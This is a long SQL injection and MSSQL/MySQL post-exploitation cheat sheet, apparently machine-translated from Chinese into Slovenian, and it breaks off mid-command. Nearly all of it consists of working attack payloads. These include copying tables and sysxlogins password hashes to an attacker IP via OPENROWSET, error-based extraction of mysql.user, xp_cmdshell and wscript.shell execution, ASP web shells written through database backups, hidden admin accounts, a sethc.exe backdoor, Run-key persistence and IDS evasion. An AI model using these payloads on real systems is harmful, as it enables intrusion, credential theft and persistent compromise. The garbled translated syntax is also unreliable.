insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz _blank>_sysobjects)
Izberite * iz user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz _blank>_syscolumns)
Izberite * iz user_blank>_database.dbo.syscolumns
Replicirajte _blank> bazo podatkov:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz tabele1) izberite * iz baze podatkov.. Tabela1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi

* iz tabele2) izberi * iz baze podatkov.. Tabela2

Zgoščena vrednost gesla, ki kopira prijavo _blank> geslo hash tabele (HASH), je shranjena v sysxlogins. Tukaj je, kako:
insert into OPENROWSET(SQLOLEDB,

uid=sa; pwd=123; Omrežje=DBMSSOCN; Naslov=192.168.0.1.1.1433; ,izberi * iz _blank>_sysxlogins)

Select * from database.dbo.sysxlogins
Ko enkrat dobiš hash, ga lahko uporabiš z brutalno silo.

Za prečkanje mape: Najprej ustvarite začasno tabelo: temp
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; vstavi začasno izvršno master.dbo.xp_blank>_availablemedia; – Pridobite vse trenutne pogone
; vstavi v temp(id) izvršni master.dbo.xp_blank>_subdirs c:\; – Pridobite seznam podimenikov
; vstavi v temp(id,num1) izvršni master.dbo.xp_blank>_dirtree c:\; – Pridobite strukturo drevesa imenikov za vse podimenike,

Spojite palce v temperaturno tabelo
; vstavi v temp(id) exec master.dbo.xp_blank>_cmdshell vpiši c:\web\index.asp; – Oglejte si datoteko

Vsebina
; vstavi v temp(id) izvršni master.dbo.xp_blank>_cmdshell dir c:\; –
; vstavi v temp(id) izvršni master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exeec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts

\adsutil.vbs enum w3svc
; vstavi v temp(id,num1) izvršni master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Ustrezna pristojnost

JAVNO)
Pišite na mizo:
izjava 1: in 1=(Izberi IS_blank>_SRVROLEMEMBER(sysadmin)); –
Izjava 2: in 1=(Izberi IS_blank>_SRVROLEMEMBER(strežnikadmin)); –
Izjava 3: in 1=(Izberi IS_blank>_SRVROLEMEMBER(setupadmin)); –
Izjava 4: in 1=(Izberi IS_blank>_SRVROLEMEMBER(securityadmin)); –
Izjava 5: in 1=(Izberi IS_blank>_SRVROLEMEMBER(securityadmin)); –
Izjava 6: in 1=(Izberi IS_blank>_SRVROLEMEMBER(diskadmin)); –
Izjava 7: in 1=(Izberi IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Izjava 8: in 1=(Izberi IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Izjava 9: in 1=(Izberi IS_blank>_MEMBER(db_blank>_owner)); –

Zapišite pot do mize:
; Create table dirs(paths varchar(100), id int)–
; vstavi direktors izvršni master.dbo.xp_blank>_dirtree c:\–
in 0<>(izberi Top 1 poti iz Dirs)–
in 0<>(izberi zgornjo 1 pot iz dirjev, kjer poti niso v(@Inetpub))–
; Create table dirs1(paths varchar(100), id int)–
; vstavi direktors exec master.dbo.xp_blank>_dirtree e:\web–
in 0<>(izberi top 1 poti iz dirs1)–

Varnostna kopija _blank> baze podatkov v spletni imenik: Prenesi
; declare @a sysname; množica @a=db_blank>_name(); Backup database @a to disk=e:\web\down.bak; –

in 1=(Izberi prvo ime iz(Izberi top 12 id,ime iz sysobjects, kjer xtype=char(85)) T

vrstni red po ID opisu)
in 1=(Izberi Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) iz sysobjects) Glej tudi

Sorodne tabele.
in 1=(izberi user_blank>_id iz USER_blank>_LOGIN)
in 0=(izberi uporabnika iz USER_blank>_LOGIN kjer uporabnik>1)

-=- wscrip{filter}t.shell primer -=-
deklariraj @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
izvršni sp_blank>_oamethod @o, teči, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, notepad.exe–

razglasite @o int, @f int, @t int, @ret int
razglasite @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
izvršni sp_blank>_oamethod @o, OpenTextfile, @f out, C:\boot.ini, 1
izvršni @ret = sp_blank>_oamethod @f, readline, @line konec
medtem ko ( @ret = 0 )
začetek
tiskani @line
izvršni @ret = sp_blank>_oamethod @f, readline, @line konec
konec

razglasite @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, pisana vrstica, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>

Deklariraj @o inteligenco, @ret inteligenco
izvršni sp_blank>_oacreate speech.voicetext, @o konec
exec sp_blank>_oamethod @o, register, NULL, foo, bar
izvršni sp_blank>_oasetproperty @o, hitrost, 150
izvršni sp_blank>_oamethod @o, govori, NULL, vsi tvoji strežniki za nadaljevanje pripadajo nam, 528
čakanje na zamudo 00:00:05

; declare @o int, @ret int executive sp_blank>_oacreate speech.voicetext, @o out exec

sp_blank>_oamethod @o, register, NULL, foo, bar executive sp_blank>_oasetproperty @o, speed, 150 executive

sp_blank>_oamethod @o, govori, NULL, vsi tvoji strežniki za nadaljevanje pripadajo nam, 528 čakaj na zamudo

00:00:05–

xp_blank>_dirtree veljavno JAVNO dovoljenje
izvršni master.dbo.xp_blank>_dirtree c: Vrnjene informacije imajo dve polji: podimenik, globina. Polja podimenikov

Tip lika, globinsko polje je polje oblikovanja.
Create table dirs(paths varchar(100), id int)
Pri sestavljanju tabele je tabela, ustvarjena tukaj, povezana z zgornjim xp_blank>_dirtree, z enakimi polji in enakim tipom.
vstavi dirs exec master.dbo.xp_blank>_dirtree c: Dokler zgradimo tabelo in enako definiramo polja, ki jih vrne postopek shranjevanja

Izvedite! Da dosežemo učinek pisanja tabel, korak za korakom, da dosežemo želene informacije!
Ta injekcija napak temelji predvsem na prelivanju Mysql podatkovnega tipa
    mysql > SELECT 18446744073709551610 * 2 ;
    NAPAKA 1690 (22003): BIGINT UNSIGNED vrednost je izven območja v '(18446744073709551610 * 2)'

    mysql > SELECT - 1 * 9223372036854775808 ;
    NAPAKA 1690 ( 22003 ): BIGINT UNSIGNED vrednost je izven območja v '(- (1) *

9223372036854775808)'
Različica baze poizvedb:
    mysql> SELECT * 2 (če ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,

18446744073709551610));
    NAPAKA 1690 (22003): BIGINT VREDNOST BREZ znaka je izven območja v '(2 * če (( Izberi ' 5.5 'iz

Dual), 18446744073709551610.18446744073709551610))'
Pridobite ime polja:
    mysql> SELECT 2 * if((SELECT * from (select * from test.shop) kot '' limit 1)>(SELECT * from

test.shop meja 1), 18446744073709551610, 18446744073709551610);

    NAPAKA 1690 (22003): Vrednost BIGINT UNSIGNED je izven območja v '(2 * if((((select

'article','dealer', 'price' from (izberite 'test'.'shop'.'article' AS

'članek','test'.'trgovina'.'prodajalec' AS 'prodaja','test'.'trgovina'.'cena' AS 'cena' iz

'test'.'shop') omejitev 1) > (izberi

'test'.'trgovina'.'artikl','test'.'trgovina'.'prodaja','test'.'trgovina'.'cena' iz 'test'.'shop' omejitev

1)),18446744073709551610,18446744073709551610))'
Pridobite vrednost polja:

    mysql> SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kot '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610);

    NAPAKA 1690 (22003): Vrednost BIGINT UNSIGNED je izven območja v '(2 * if((((select

'lokalni gostitelj', 'korenina','*', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y

Y','Y','Y','Y','Y','Y', 'Y','Y', 'Y','Y','0','0','0',' iz dualnega limita 1)

<

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2)),184467440

73709551610,18446744073709551610))'

Upoštevajte, da ta metoda ne deluje s starejšimi različicami Mysql, zato boste morali poznati omejitev dolžine sporočila o napaki, saj bo to določilo

Lahko dobite toliko časa, kot želite:
    mysys / my_error.c

    /* Največja dolžina sporočila o napaki. Naj bo usklajeno z MYSQL_ERRMSG_SIZE. */
    #define ERRMSGSIZE (512)

Če je objekt MariaDB (veja Mysql), boste morda ob poskusu zgornje metode videli podobno sporočilo o napaki:

    mysql> SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    NAPAKA 1690 (22003): BIGINT VREDNOST BREZ ZNAKA je izven območja v '(2 * if(((select

#),18446744073709551610,18446744073709551610))'

Kot rešitev lahko ta problem rešimo takole:

    mysql> SELECT (I NI NULL) - -9223372036854775808 FROM (SELECT (VERSION())i)a;
    NAPAKA 1690 (22003): Vrednost BIGINT je izven območja v '(('5.5-MariaDB' ni null) - -

(9223372036854775808))'
Zdaj pa poglejmo, ali lahko naš vektor nekoliko skrajšamo

//查询数据库版本

    SELECT 2*(if((SELECT * from (SELECT (version()))s), 18446744073709551610,

18446744073709551610))
    =
    select 1E308*if((select*from(select version())x),2,2)

    SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a
    =
    select if(x,2,2)*1E308 from(select version()x)y
//获取表字段名称
    SELECT 2 * if((SELECT * from (select * from test.shop) kot '' limit 1)>(SELECT * iz

test.shop meja 1), 18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user)''limit 1)>(select*from mysql.user limit

1),2,2)

//获取字段值

    SELECT 2 * if((SELECT * from (select * from (mysql.user) LIMIT 1) kot '' limit 1) <

(1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5 ,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2),

18446744073709551610, 18446744073709551610)
    =
    select 1E308*if((select*from(select*from mysql.user LIMIT 1)''limit 1)<(select*from

mysql.user limit 0),2,2)
//获取指定字段的值
    izberite 1E308*if((select user|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT

1) meja 1),2,2)
//获取字段个数


    izberite 1E308*if((select*from mysql.user limit 1)>(select 1),2,2)



Nekatere druge deformacije

    SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a
    izberite 1E308*if((select user|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT

1) omejitev 1),2,2);
    =>
    izberi 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    mysql> izberi (izberi * iz mysql.user)=1;
    mysql> izberite (izberite * iz mysql.user)in(1);

    NAPAKA 1241 (21000): Operand bi moral vsebovati 42 stolpcev
    izberi 2*if((select user|host|password|file_priv from(select*from mysql.user LIMIT 1)a limit

1),1e308,0);
    izberi if((izberi uporabnik|| gostitelj|| geslo|| file_priv from(select*from mysql.user LIMIT 1)a

limit 1),2,2)*1E308
    SELECT (i NI NIČL) - -9223372036854775808 IZ (SELECT (version())i)a
    select (x!=0x00)--9223372036854775808 from(SELECT version()x)y
    mysql> select!x-~0.FROM(select+user()x)f;
    NAPAKA 1690 (22003): BIGINT UNSIGNED vrednost je izven območja v '((not('root@localhost')) - ~

(0))'
3. Presodi podatkovni sistem
; in (select count(*) iz sysobjects)>0 mssql
; in (izberi count(*) iz msysobjects)>0 dostop
4. Parameter vbrizgavanja je znak
'in [kriteriji poizvedb] in ''='
5. Med iskanjem ni filtriranih parametrov
'in [kriteriji poizvedb] in '%25'='
6. Ugani bazo podatkov
; in (izberite Count(*) iz [ime baze podatkov])>0
7. Ugani polje
; in (izberite Count(ime polja) iz imena baze)>0
8. Ugani dolžino zapisa na polju
; in (izberite top 1 len (ime polja) iz imena baze podatkov)>0
9. (1) Ugani ASCII vrednost polja (dostop)
; in (izberite Top 1 ASC(Mid(Field Name, 1,1)) iz imena baze podatkov)>0
(2) Ugani ASCII vrednost polja (mssql)
; in (izberite top 1 unicode(substring(ime polja, 1,1)) iz imena baze podatkov)>0
10. Struktura dovoljenj za testiranje (mssql)
; in 1=(izberite IS_SRVROLEMEMBER('sysadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('serveradmin')); --
; in 1=(izberi IS_SRVROLEMEMBER('setupadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('securityadmin')); --
; in 1=(izberi IS_SRVROLEMEMBER('diskadmin')); --
; in 1=(izberite IS_SRVROLEMEMBER('bulkadmin')); --
; in 1=(izberite IS_MEMBER('db_owner')); --
11. Dodajte račun za mssql in sistem
; izvršni master.dbo.sp_addlogin uporabniško ime; --
; izvršni master.dbo.sp_password null, uporabniško ime, geslo; --
; uporabniško ime izvršnega master.dbo.sp_addsrvrolemember sistemskega administratorja; --
; Exec master.dbo.xp_cmdshell 'Net uporabniško ime geslo /workstations:* /times:all

/passwordchg:yes /passwordreq:yes /active:yes /add';--
; izvršni master.dbo.xp_cmdshell 'net uporabniško ime, geslo /add'; --
; izvršni master.dbo.xp_cmdshell 'Uporabniško ime administratorjev lokalnih skupin /add'; --
12. (1) Preglejte katalog
; Create table dirs(paths varchar(100), id int)
; vstavi direktors exec master.dbo.xp_dirtree 'c:\'
; in (izberi top 1 poti iz dirs)>0
; in (izberi zgornje 1 poti iz dirjev, kjer poti niso v ('poti, pridobljene iz prejšnjega koraka'))>)
(2) Prečkati katalog
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vstavi začasno izvršno master.dbo.xp_availablemedia; -- Pridobite vse tokovne pogone
; vstavi v temp(id) izvršni master.dbo.xp_subdirs 'c:\'; -- Pridobite seznam podimenikov
; vstavi v temp(id,num1) izvršilko master.dbo.xp_dirtree 'c:\'; -- Pridobi strukturo drevesa imenikov za vse podimenike
; vstavi v temp(id) exec master.dbo.xp_cmdshell 'vpiši c:\web\index.asp'; -- Oglejte si vsebino datoteke
13. Shranjene procedure v mssql
xp_regenumvalues Korenski ključ registra, otroški ključ
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' in še več

Metoda zapisov za vrnitev vseh vrednosti ključev
xp_regread Korenski ključ, otroški ključ, ime ključ-vrednost
; izvršni xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows

\CurrentVersion','CommonFilesDir' vrne vrednost formulacijskega ključa
xp_regwrite Korenski ključ, otroški ključ, ime vrednosti, tip vrednosti, vrednost
Obstajata dve vrsti vrednostnih tipov REG_SZ REG_DWORD za tipe znakov in za cela števila
; izvršni xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows

\CurrentVersion', 'TestvalueName', 'reg_sz', 'hello' so zapisani v register
xp_regdeletevalue Korenski ključ, podključ, ime vrednosti
izvršni xp_regdeletevalue 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows

\CurrentVersion', 'TestvalueName' za odstranitev vrednosti
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' tipka za brisanje,

Vse vrednosti vključite pod ta ključ
14. MSSQL varnostno kopiranje ustvari spletno lupino
Model uporabe
create table cmd (str image);
vstavi v cmd(str) vrednosti ('<% Dim oscrip{filter}t %>');
model varnostne kopije baze podatkov na disk='c:\l.asp';
15. Vgrajene funkcije MSSQL
; in (izberite @@version)>0 za pridobitev številke različice Windows
; in user_name()='dbo' za ugotavljanje, ali je povezan uporabnik trenutnega sistema SA
; in (izberi user_name()>0 Eksplodiral povezane uporabnike trenutnega sistema
; in (izberite db_name()>0 za pridobitev trenutno povezane baze podatkov
16. Jedrnata spletna lupina
Model uporabe
create table cmd (str image);
Vstavi v cmd(str) vrednosti ('<%=server.createobject("wscrip{filter}t.shell").exec("cmd.exe /c

"&request("c")).stdout.readall%>');
model varnostne kopije baze podatkov na disk='g:\wwwtest\l.asp';
Pri prošnji uporabite nekaj takega:
http://ip/l.asp?c=dir
================================================================================================

================================================================================================

================================================================================================

================================================================================================

============================
Pridobite vsa imena baz podatkov, vključno s sistemskimi bazami podatkov
–IZBERI ime IZ master.dbo.sysdatabases

Pridobite vsa imena podatkovnih baz, ki niso sistemska
–izberi [ime] iz master.dbo.sysdatabases, kjer DBId>6 Uvrsti po [ime]

Pridobite vse informacije, vključno z naslovom datoteke baze podatkov
–izberi * iz master.dbo.sysdatabases, kjer DBId>6 Order By

[Ime]



Ta poizvedba o ukazu vrne vse uporabniške tabele

Izberite * iz sysobject, kjer je xtype='u'


Poizvedba po vseh informacijah podatkovnih tabel v sistemu

Izberite * iz sysobjects



Poglej ime stroja
Izberite * iz sys.servers





Kazalo vsebine stolpca
izvršni master.dbo.xp_subdirs 'C:\'


izvršilni master.dbo.xp_dirtree 'C:',1,1 db_owner
Dovoljenja je mogoče uveljavljati


exec master.dbo.xp_dirtree 'c:/Program Files',1,1





Programska koda, napisana v spletni lupini


izvršni master.dbo.xp_subdirs 'd:\web\www.xx.com';
Izvršni sp_makewebtask:

\web\www.XXXX.com\XX.asp','select"<%execute(request("SB"))%>"






Izvrši mojster.. xp_enumgroups  


Uporabniki sistema prehoda


Izvrši mojster.. xp_getnetname
Pridobite trenutno ime stroja


--Seznam fiksnih diskov na strežniku skupaj z razpoložljivim prostorom za vsak disk
   DBO Public


Izvedi

xp_ntsec_enumdomains


--
Ustvarite račun za prijavo v MSSQL
izvršni master.dbo.sp_addlogin ime, prestopi; --






--
Navedi ime strežniške domene
xp_ntsec_enumdomains //
Ime stroja //dbo public


--
Ustavi ali zaženi storitev
xp_servicecontrol 'stop', 'urnik' //urnik je ime storitve //dbo


--Uporabite PID

Ustavi izvajanje programa
xp_terminate_process 123 //123 je PID //DBO


--
Navedeni so samo podimeniki v imeniku
dbo.xp_subdirs 'C:' //dbo


SQL Server
Način odprtja xp_cmdshell leta 2005
EXEC sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; IZVRŠNI ODBOR

sp_configure 'xp_cmdshell', 1; REKONFIGURIRANJE;

SQL2005 Odpri 'OPENROWSET'
Podprte metode:
izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni sp_configure 'Ad Hoc

Distribuirane poizvedbe',1; REKONFIGURIRANJE;

SQL2005 omogočiti podporo 'sp_oacreate':
izvršni sp_configure 'prikaži napredne možnosti', 1; REKONFIGURIRANJE; izvršni odbor

sp_configure 'Stari avtomatizacijski postopki',1; RECONFIGURE





Kako omogočiti xp_cmdshell v SQL Server 2008


-- Da bi omogočili spreminjanje naprednih možnosti.
IZVRŠNI ODBOR

sp_configure 'prikaži napredne možnosti', 1
POJDI
-- Za posodobitev trenutno konfigurirane vrednosti za

Napredne možnosti.
RECONFIGURE
POJDI
-- Za omogočanje funkcije.
IZVRŠNI sp_configure 'xp_cmdshell', 1
POJDI
-- Za

Posodobi trenutno nastavljeno vrednost za to funkcijo.
RECONFIGURE
POJDI


Exec xp_cmdshell 'ipconfig'



Danes sem želel spremeniti geslo za prijavo SA strežnika baze podatkov, a sem nenadoma pozabil, zato sem moral odpreti analizator poizvedb s pomočjo drugih računov, da sem spremenil geslo za SA

Zelo preprosto je:


Izvedba:
sp_password Null, 'teracypwd', 'sa'
Nastavi geslo za SA na "teracypwd"


Po uspešni usmrtitvi

Obstaja "Ukaz(i) uspešno izvedeni."  V redu!








V dovoljenju baze podatkov ločimo način pridobivanja IP-naslova strežnika baze podatkov MSSQL


1. Lokalna NC posluša NC - VVLP 80


2.; vstavi v

OPENROWSET('SQLOLEDB','uid=sa; pwd=xxx; Omrežje=DBMSSOCN; Naslov=vaš IP, 80; ', 'izberi * iz

dest_table') izberi * iz src_table; --


Izberi * iz OpenRowset

('sqloledb','server=125.110.145.130,6789; uid=sa; pwd=zhu','izberi uporabnika; ')





Uvoz in izvoz baze podatkov

/*不同服务器数据库之间的数据操作*/

--Ustvari strežnik povezav
izvršni sp_addlinkedserver   

'ITSV', 'SQLOLEDB', 'ime oddaljenega strežnika ali IP naslov'
izvršni sp_addlinkedsrvlogin 'ITSV', 'false

',null, 'uporabniško ime', 'geslo'

--primer poizvedbe
izberite * iz ITSV.database name.dbo.table name

--uvozni primer
Izberi *

v tabelo iz ITSV.databasename.dbo.tablename

--Izbrišite povezani strežnik, če v prihodnosti ne bo več v uporabi
izvršni sp_dropserver 'ITSV',

'droplogins'

--
Povezovanje z oddaljenimi/LAN podatki (openrowset/openquery/opendatasource)
--1、openrowset

--primer poizvedbe
Izberi *

from openrowset( 'SQLOLEDB ', 'sql server name'; 'Uporabniško ime'; 'password', ime baze podatkov.dbo.table)

--
Generirajte lokalno tabelo
select * v tabelo iz openrowset( 'SQLOLEDB ', 'sql server name '; 'Uporabniško ime'; 'Geslo', številka

Glede na ime baze podatkov, ime tabele)

--
Uvozite lokalno tabelo v oddaljeno tabelo
vstavi openrowset( 'SQLOLEDB', 'sql server name'; 'Uporabniško ime'; 'Gesla', baze podatkov

ime.dbo.ime tabele)
Izberite *iz lokalne tabele

--
Posodobite lokalne tabele
POSODOBITEV B
množica b. stolpec A = a
from openrowset( 'SQLOLEDB ', 'sql server name'; 'Uporabniško ime'; '

geslo ', ime baze podatkov .dbo.table) kot notranji join lokalna tabela b
na a.column1=b.column1

--openquery
Uporaba zahteva vzpostavitev povezave

--Najprej ustvarite povezavo za ustvarjanje strežnika povezave
izvršni sp_addlinkedserver 'ITSV', ' ',

'SQLOLEDB', 'ime oddaljenega strežnika ali IP naslov'
--Povprašaj
Izberi *
FROM openquery(ITSV, 'SELECT * FROM podatkov

library.dbo.table ime ')
--
Uvozite lokalno tabelo v oddaljeno tabelo
vstavi openquery(ITSV, 'SELECT * FROM database.dbo.table name')
Izberite * iz lokalnega

tabela
--posodobi lokalno tabelo
POSODOBITEV B
množica b. stolpec B=a
FROM openquery(ITSV, 'SELECT * FROM database.dbo.tablename')

kot  
notranja združitev, lokalna tabela b na a. stolpec A=b. stolpec A

--3、opendatasource/openrowset
IZBERI *
IZ   

opendatasource( 'SQLOLEDB ', 'Data Source=ip/ServerName; ID uporabnika = Prijavno ime; Geslo=Geslo '

).test.dbo.roy_ta
--
Uvozite lokalno tabelo v oddaljeno tabelo



Izbris in obnova xp_cmdshell


Načini za okrevanje xp_cmdshell   
Izbriši razširjeno shranjeno proceduro xp_cmdshell

Izjava   
izvršni sp_dropextendedproc 'xp_cmdshell'   



Obnovitev SQL stavka cmdshell   
izvršni sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'   


izvršni odbor

master.dbo.addendedproc 'xp_cmdshell','xplog70.dll'; Izberi Count(*) iz

master.dbo.sysobjects kjer xtype='x' in   
Rezultat je 1 in je v redu   


V nasprotnem primeru moraš naložiti c:\inetput\web

\xplog70.dll kasneje   
izvršni master.dbo.sp_addextendedproc 'xp_cmdshell','c:\inetput\web\xplog70.dll

’; --   



Če ga izbrišete na naslednji način   
Postopek spuščanja sp_addextendedproc   
Postopek spuščanja sp_oacreate   
izvršni odbor

sp_dropextendedproc 'xp_cmdshell'   



Lahko ga obnovite z naslednjo izjavo   
dbcc addextendedproc ("sp_oacreate","odsole70.dll")   
DBCC

addextendedproc ("xp_cmdshell","xplog70.dll")   

Na ta način ga je mogoče neposredno obnoviti, ne glede na to, ali sp_addextendedproc obstaja ali ne






1、
Uporabite xp_cmdshell:
          Izvršni master.dbo.xp_cmdshell "NET User, Admin, Admin /ADD"
          izvršni odbor

master.dbo.xp_cmdshell "net localgroup administrators admin /add"

V xp_cmdshell primeru uporabite sp_oacreate za sledenje sp_oamethod:
          deklariraj @object int   
          izvršni odbor

sp_oacreate 'wscrip{filter}t.Shell', @object konec         
          izvršni sp_oamethod

@object,'Run', NULL,'net user admin admin /add'
          izvršni sp_oamethod @object,'Beži', NULL,'net

localgroup Administratorji admin /add'

Opomba: regsvr32 /s c:\windows\system32\wshom.ocx
Start wscrip{filter}t.shell
3、
Uporabi sp_oacreate in FSO
          deklariraj @o int
          izvršni sp_oacreate

'scrip{filter}ting.filesystemobject', @o out
          Exec sp_oamethod @o, 'copyfile',null,'c:\Windows

\explorer.exe' ,'c:\windows\system32\sethc.exe';
          deklariraj @oo int
          izvršni odbor

sp_oacreate 'scrip{filtering}ting.filesystemobject', @oo out
          Izvršni sp_oamethod @oo,

'copyfile', null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\dllcache\sethc.exe';

Uporabi xp_regwrite (db_owner, potreben je ponovni zagon):
          izvršni master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd1','reg_sz','net user admin admin /add'
          izvršni master.dbo.xp_regwrite

'hkey_local_machine','software\microsoft\windows\currentversion\


run','eadd2','reg_sz','net localgroup administrators admin /add'
5. Uporabi sp_add_job:
          izvršni odbor

master.dbo.xp_servicecontrol 'start', 'SQLSERVERAGENT'
          Uporabite MSDB Exec sp_delete_job

null,'x'
          izvršni sp_add_job 'X'
          izvršni sp_add_jobstep

Null,'x', Null,'1', 'CMDEXEC', 'cmd /c net user admin admin /add'
          izvršni sp_add_jobserver

Null, 'x', @@servername izvršni sp_start_job 'x'















Veliko SA je uspelo na številnih napravah neposredno v načinu peskovnika, vendar ga nikoli nisem vadil in ne vem, kakšna je stopnja uspešnosti. Ko je podaljšek odstranjen, najprej

Obnoviti shranjevanje za branje in pisanje v register.
dbcc addextendedproc ('xp_regread','xpstar.dll')
dbcc addextendedproc

('xp_regwrite','xpstar.dll')



Popravljen zaščiten način peskovnika
Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Jet

\4.0\Engines','SandBox Mode','REG_DWORD',0; --



Preverite, ali se je vrednost 'SandBoxMode' spremenila na 0.


izvršni master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA

\Microsoft\Jet\4.0\Engines', 'SandBoxMode'



Na koncu pokliči način peskovnika
Select * from openrowset('microsoft.jet.oledb.4.0','; database=C:\WINDOWS

\system32\ias\dnary.mdb','select shell("cmd.exe /c net user pass /add")')







Če način zaščite peskovnika ni "izklopljen", se prijavi napaka:
          Strežnik: Msg 7357, nivo 16, stanje 2, linija 1

Ni uspelo obdelati objekta 'select shell("cmd.exe /c net user pass /add")'. OLE DB zagotavlja programe

Predgovor 'microsoft.jet.oledb.4.0' navaja, da v objektu ni stolpcev.

Sledenje napakam OLE DB [Napaka brez vmesnika: ponudnik OLE DB ne more obdelati objekta, ker je objekt

has nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user

uporabnik passwd /add")']。


2、
Če .mdb ne obstaja ali je vhodna pot napačna
           Strežnik: Msg 7399, nivo 16, stanje 1, linija 1

OLE DB provider 'microsoft.jet.oledb.4.0' error.
            [Ponudnik OLE/DB je vrnil sporočilo:

Datoteka 'C:\WINDOWS\system32\ias\dnary1.mdb' ni najdena. ]

OLE DB error trace [OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned

0x80004005: ]。


3. Če je med vnosom več prostorov, bo prav tako prijavljena napaka. Posebno pozornost namenite temu, veliko ljudi neposredno išče članke na spletu

Prilepite in zaženete.
          Strežnik: Msg 7357, nivo 16, stanje 2, linija 1
          Ni uspelo obdelati objekta 'select'

shell("cmd.exe /c net uporabnik passwd /add")'。
Ponudnik OLE DB 'microsoft.jet.oledb.4.0' navaja, da v objektu ni stolpcev.

Sledenje napakam v OLE DB [Napaka brez vmesnika:
Ponudnik OLE DB ne more obdelati objekta, saj je objekt

nocolumnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user

passwd /add")']。


4、
Če so dovoljenja za mdb in cmd.exe napačna, se težava prav tako pojavi.
          Ko so dovoljenja MDB napačna,
           Strežnik: Odstrani

Interes 7320, nivo 16, država 2, linija 1

Ni mogel odgovoriti
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' izvede poizvedbo.
           [OLE/DB ponudnik vrnjen

message: 未知]
           OLE DB Error Trace [OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0'

ICommandText::Execute returned 0x80040e14]。


5. Če je dovoljenje za omrežje napačno, ni nobenega poziva.

Zadnji način za povečanje avtoritete je, da ias.mdb in cmd.exe sistema naložimo v trenutni spletni imenik, net.exe tri datoteke.

Execute select * from openrowset('microsoft.jet.oledb.4.0','; database=E:\web\ias.mdb','select shell

("E:\web\cmd.exe /c E:\web\net.exe uporabnik passwd /add")')
          Uspešno dodajte uporabnika računalnika.






Razdeljevanje cmdshell obide IDS         
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'ipconfig'
razglasi

@a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:\'





Uredi: preklop registracije
Izvršni mojster.. xp_regwrite 'HKEY_LOCAL_MACHINE','PROGRAMSKA OPREMA\Microsoft\Windows NT

